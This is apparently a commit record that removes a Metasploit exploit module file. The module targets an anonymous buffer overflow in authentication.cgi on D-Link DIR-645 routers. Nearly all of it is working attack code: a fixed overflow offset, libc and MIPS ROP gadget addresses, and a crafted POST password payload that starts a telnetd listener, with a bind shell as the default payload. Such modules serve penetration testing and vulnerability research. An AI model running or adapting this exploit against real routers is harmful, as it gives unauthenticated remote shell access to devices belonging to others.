removed wrong module file
Michael Messner
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6f45eb13c7
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking # the exploit as it is is excellent but we can only start the telnetd and connect to it
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HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] }
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link authentication.cgi Buffer Overflow',
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'Description' => %q{
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This module exploits an anonymous remote code execution vulnerability on different D-Link routers.
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This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the
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DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated
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environment. They are a little bit different in the first ROP gadget.
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},
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'Author' =>
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[
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'Roberto Paleari', # Vulnerability discovery
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'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
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'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on different other routers
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],
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'License' => MSF_LICENSE,
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'Platform' => ['linux'],
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'Arch' => ARCH_CMD,
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'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' },
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'References' =>
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[
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[ 'OSVDB', '95951' ],
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[ 'EDB', '27283' ],
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[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site
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[ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router
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[ 'URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt' ] #original advisory
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],
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'Targets' =>
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[
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[ 'DLink DIR-645 1.03 - start telnetd',
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{
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'Offset' => 1011,
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'LibcBase' => 0x2aaf8000, #Router
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#'LibcBase' => 0x40854000, # QEMU environment
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'System' => 0x000531FF, # address of system
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'CalcSystem' => 0x000158C8, # calculate the correct address of system
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'CallSystem' => 0x000159CC, # call our system
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}
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]
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],
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'DisclosureDate' => 'Feb 08 2013',
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'DefaultTarget' => 0))
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end
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def check
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begin
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res = send_request_cgi({
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'uri' => "/authentication.cgi",
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'method' => 'GET'
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})
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if res && [200, 301, 302].include?(res.code)
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return Exploit::CheckCode::Detected
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end
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Unknown
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end
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Exploit::CheckCode::Unknown
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end
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def exploit
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lport = datastore['LPORT']
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cmd = "/usr/sbin/telnetd -p #{lport}"
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print_status("#{peer} - Trying to access the vulnerable URL...")
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unless check == Exploit::CheckCode::Detected
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fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
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end
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# prepare our shellcode that triggers the crash:
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shellcode = rand_text_alpha_upper(target['Offset']) # padding
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shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
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shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
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shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
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# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
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# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
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# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
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# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
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# .text:000159DC 09 F8 20 03 jalr $t9 # call system
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# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
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shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
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shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
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# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
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# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
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# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address
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shellcode << rand_text_alpha_upper(16) # filler in front of our command
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shellcode << cmd
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# now lets rock it ...
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print_status("#{peer} - Sending exploit ...")
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res = send_request_cgi({
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'method' => 'POST',
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#'uri' => "/authentication_gdb.cgi", #for debugging on the router
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'uri' => "/authentication.cgi",
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'cookie' => "uid=test",
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'encode_params' => false,
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'vars_post' => {
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'uid' => 'test',
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'password' => 'asd' << shellcode,
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}
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})
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end
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end
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